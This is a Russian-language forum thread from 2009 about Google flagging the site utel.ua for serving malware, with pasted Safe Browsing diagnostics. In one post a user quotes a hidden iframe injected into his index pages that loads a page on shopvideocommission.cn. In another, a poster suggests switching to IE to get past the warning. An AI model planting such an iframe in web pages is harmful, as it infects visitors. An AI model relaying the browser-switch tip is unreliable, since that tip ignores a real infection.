Крымский форум (Crimea-Board) Поиск Участники Помощь Текстовая версия Crimea-Board.Net
Здравствуйте Гость .:: Вход :: Регистрация ::. .:: Выслать повторно письмо для активации  
 
> Рекламный блок.
 
 
 
 
 
> Ваша реклама, здесь
 
 
 

Страницы: (2) [1] 2  ( Перейти к первому непрочитанному сообщению ) Start new topic Start Poll 

> utel.ua взломали?, Google ругается на malicious content
alexk | Профиль
Дата 25 Июня, 2009, 13:59
Quote Post



Отъявленный самурай
Group Icon

Группа: Старожил
Сообщений: 2676
Регистрация: 10.02.04
Авторитет: 5
Вне форума

Предупреждения:
(0%) -----


Зашел сегодня к ним на сайт, google выдал предупреждающее сообщение, посмотрел детали:
Цитата

Safe Browsing
Diagnostic page for utel.ua

What is the current listing status for utel.ua?
Site is listed as suspicious - visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 2 time(s) over the past 90 days.

What happened when Google visited this site?
Of the 4 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-06-24, and the last time suspicious content was found on this site was on 2009-06-24.
Malicious software is hosted on 1 domain(s), including shopvideocommission.cn/.

This site was hosted on 1 network(s) including AS6849 (UKRTELNET).

Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, utel.ua did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 2 domain(s), including smssender.org.ua/, devahi.net/.

How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Next steps:
Return to the previous page.
If you are the owner of this web site, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google's Webmaster Help Center.


____________________
If you're determined to reinvent the wheel, at least try to invent a better one - Larry Wall
PMEmail Poster
49/13986   
Бобер | Бездомный
Реклама двигатель прогресса       
Quote Post



А кому сча лехко?
Group Icon


















_________________
Желающим разместить рекламу смотреть сюдой
/   
Newton |
Дата 25 Июня, 2009, 15:48
Quote Post



Unregistered









это у тебя пишет из под браузера FireFox... зайди из под ИЕ... все будет в порядке... по крайней мере у меня так!!!
1/   
BoooM | Профиль
Дата 25 Июня, 2009, 16:00
Quote Post



BiG BaDa BoooM
Group Icon

Группа: Старожил
Сообщений: 2255
Регистрация: 22.07.05
Авторитет: 51
Вне форума

Предупреждения:
(0%) -----


Цитата(Newton @ 25 Июня, 2009, 14:45)
это у тебя пишет из под браузера FireFox... зайди из под ИЕ... все будет в порядке... по крайней мере у меня так!!!

хороший выход из ситуации
а еще лучше самому скачать вирус и заразить им компьютер smile.gif))


____________________
0123456789
PMEmail Poster
2/5218   
ordruf | Профиль
Дата 25 Июня, 2009, 16:24
Quote Post




Group Icon

Группа: Silver Member
Сообщений: 598
Регистрация: 15.01.09
Авторитет: 8
Вне форума

Предупреждения:
(0%) -----


походу действительно ломанули


____________________
user posted image
PMUsers Website
ordruf | Профиль
Дата 25 Июня, 2009, 16:25
Quote Post




Group Icon

Группа: Silver Member
Сообщений: 598
Регистрация: 15.01.09
Авторитет: 8
Вне форума

Предупреждения:
(0%) -----


Код
Безопасный просмотр
Страница диагностики для utel.ua

Занесен ли сайт utel.ua в список подозрительных веб-сайтов?

   Сайт занесен в список подозрительных веб-сайтов – посещение этого сайта может нанести вред вашему компьютеру.

   В некоторой части этого сайта несколько раз (2) за последние 90 дней была замечена подозрительная активность.

Что произошло во время последнего просмотра этого сайта компанией Google?

   Из протестированных нами за последние 90 дней страниц данного сайта (4) в загрузке и установке вредоносного программного обеспечения без разрешения пользователя было замечено 2. Последний раз сайт просматривался Google 2009-06-24, а подозрительное содержание было обнаружено 2009-06-24.

   Количество доменов, на которых размещается вредоносное ПО, равняется 1, включая shopvideocommission.cn/.

   This site was hosted on 1 network(s) including AS6849 (UKRTELNET).

Был ли данный сайт промежуточным звеном в дальнейшем распространении вредоносного ПО?

   По всей видимости, за последние 90 дней сайт utel.ua не был промежуточным звеном в заражении других сайтов.

Размещается ли на этом сайте вредоносное программное обеспечение?

   Да. За последние 90 дней на этом сайте размещалось вредоносное программное обеспечение. Были заражены некоторые домены (2), включая smssender.org.ua/, devahi.net/.

Как это произошло?

   В некоторых случаях третьи лица могут добавить вредоносный код на вполне законные сайты. Предупреждающее сообщение может быть показано нами именно по этой причине.

Следующие действия:

   * Вернуться на предыдущую страницу.


____________________
user posted image
PMUsers Website
10/2160   
Newton |
Дата 25 Июня, 2009, 16:30
Quote Post



Unregistered









Игорь, может ты и прав...
http://www.hidemyass.com/
прекрасно пропускают так же на сайт, почти тоже самое что и ИЕ
alexk | Профиль
Дата 25 Июня, 2009, 16:43
Quote Post



Отъявленный самурай
Group Icon

Группа: Старожил
Сообщений: 2676
Регистрация: 10.02.04
Авторитет: 5
Вне форума

Предупреждения:
(0%) -----


Newton
Цитата

это у тебя пишет из под браузера FireFox... зайди из под ИЕ... все будет в порядке... по крайней мере у меня так!!!


Это у меня пишет из броузера Safari. IE у меня просто нет - не работает он здесь.

Да и какая разница?


____________________
If you're determined to reinvent the wheel, at least try to invent a better one - Larry Wall
PMEmail Poster
2/13986   
Newton |
Дата 25 Июня, 2009, 17:01
Quote Post



Unregistered









alexk
разница в том что один браузер будет отображать сообщение гугла а другой нет
simpyalex |
Дата 25 Июня, 2009, 17:15
Quote Post



Unregistered









в опере тоже гугл говорит:
Цитата
Utel
Этот сайт может нанести вред Вашему компьютеру.


это все таки заговор против IE?
2/   
Newton |
Дата 25 Июня, 2009, 17:19
Quote Post



Unregistered









это может из за того что в браузерах кроме ИЕ прописан гугл как поисковая система или что то в этом духе
Advocate |
Дата 25 Июня, 2009, 17:25
Quote Post



Unregistered









На сайте вирус. Об этом предупреждает Avast.
ordruf | Профиль
Дата 25 Июня, 2009, 17:27
Quote Post




Group Icon

Группа: Silver Member
Сообщений: 598
Регистрация: 15.01.09
Авторитет: 8
Вне форума

Предупреждения:
(0%) -----


это из за того, что по умолчанию в IE стоит собственная защита от "подозрительных" сайтов, а Firefox юзает Google


____________________
user posted image
PMUsers Website
6/2160   
BoooM | Профиль
Дата 25 Июня, 2009, 18:52
Quote Post



BiG BaDa BoooM
Group Icon

Группа: Старожил
Сообщений: 2255
Регистрация: 22.07.05
Авторитет: 51
Вне форума

Предупреждения:
(0%) -----


Я юзаю firefox. Цитата:

Имеется информация, что этот сайт атакует компьютеры!
Имеется информация о том, что сайт utel.ua используется для атак на компьютеры пользователей. В соответствии с вашими настройками безопасности он был заблокирован.
Сайты, атакующие компьютеры, пытаются установить программное обеспечение, которое похищает персональную информацию, вредит вашей системе или использует ваш компьютер для атак на другие компьютеры.
Некоторые сайты намеренно созданы для распространения зловредного программного обеспечения, однако многие сайты были взломаны и делают это без ведома или разрешения своих владельцев.


____________________
0123456789
PMEmail Poster
11/5218   
alexk | Профиль
Дата 25 Июня, 2009, 19:02
Quote Post



Отъявленный самурай
Group Icon

Группа: Старожил
Сообщений: 2676
Регистрация: 10.02.04
Авторитет: 5
Вне форума

Предупреждения:
(0%) -----


Newton
Цитата

это может из за того что в браузерах кроме ИЕ прописан гугл как поисковая система или что то в этом духе


Ну да, а если зажмуриться, то все вирусы в мире исчезнут? Проблема не в броузере и не в гугле скорее всего, с гуглом однажды произошел глюк, связанный с классификацией большинства сайтов как malware, но сразу поднялся сильный шум. Сейчас такого нет.


____________________
If you're determined to reinvent the wheel, at least try to invent a better one - Larry Wall
PMEmail Poster
1/13986   
ratibor | Профиль
Дата 25 Июня, 2009, 19:59
Quote Post



Старпёр
Group Icon

Группа: Members
Сообщений: 3669
Регистрация: 18.03.04
Авторитет: 13
Вне форума

Предупреждения:
(0%) -----


alexk
Opera+Drweb норм, похоже что сафари и файрфокс использовали непроверенную информацию


____________________
Адвокат: - Да, поскольку достоверно, во всяком случае на наш взгляд, не доказано, что они были убиты. Трупов нет.
PMEmail Poster
40/6155   
KOC | Профиль
Дата 25 Июня, 2009, 20:13
Quote Post




Group Icon

Группа: Старожил
Сообщений: 6273
Регистрация: 22.10.08
Авторитет: 108
На форуме

Предупреждения:
(0%) -----


Opera+Avast тоже все в порядке


____________________
PMEmail PosterUsers Website
1/7918   
ordruf | Профиль
Дата 25 Июня, 2009, 20:13
Quote Post




Group Icon

Группа: Silver Member
Сообщений: 598
Регистрация: 15.01.09
Авторитет: 8
Вне форума

Предупреждения:
(0%) -----


я Google больше доверяю, чем Drweb


____________________
user posted image
PMUsers Website
45/2160   
braz | Профиль
Дата 25 Июня, 2009, 20:14
Quote Post




Group Icon

Группа: Silver Member
Сообщений: 635
Регистрация: 30.11.05
Авторитет: 30
Вне форума

Предупреждения:
(0%) -----


Цитата(ordruf @ 25 Июня, 2009, 15:22)
Количество доменов, на которых размещается вредоносное ПО, равняется 1, включая shopvideocommission.cn/.


Ого, буквально вчера обнаружил на одном из своих доменов вирусный код в страницых index.php и index.html, там вставлен невидимый iframe, который ведет в том числе и на shopvideocommission.cn:
<iframe src="http://shopvideocommission.cn:8080/index.php" width=182 height=149 style="visibility: hidden"></iframe>

Файлы заражались через ftp, видимо украли логин и пароль.
Avast ругался, говорил что вирус HTML:Iframe-gen

Есть список адресов атакующих хостов, если нужно, могу выложить

Вывод: использовать только sftp, и не хранить пароли в клиентах.

PM
3/939   
ratibor | Профиль
Дата 25 Июня, 2009, 20:16
Quote Post



Старпёр
Group Icon

Группа: Members
Сообщений: 3669
Регистрация: 18.03.04
Авторитет: 13
Вне форума

Предупреждения:
(0%) -----


ordruf
а я нет, и чё? blush2.gif


____________________
Адвокат: - Да, поскольку достоверно, во всяком случае на наш взгляд, не доказано, что они были убиты. Трупов нет.
PMEmail Poster
GhostDragon | Профиль
Дата 2 Июля, 2009, 16:13
Quote Post




Group Icon

Группа: Silver Member
Сообщений: 898
Регистрация: 03.10.06
Авторитет: 3
Вне форума

Предупреждения:
(0%) -----


Цитата(ordruf @ 25 Июня, 2009, 20:10)
я Google больше доверяю, чем Drweb

Доверять то ему можно, но были случаи, когда эта хрень ругалась на вполне "честные" сайты.
PMEmail Poster
44/2652   

Topic OptionsСтраницы: (2) [1] 2  Start new topic Start Poll 

 



[ Script Execution time: 0.0890 ]   [ 12 queries used ]   [ GZIP включён ]


Создание и продвижение сайтов в Крыму



Top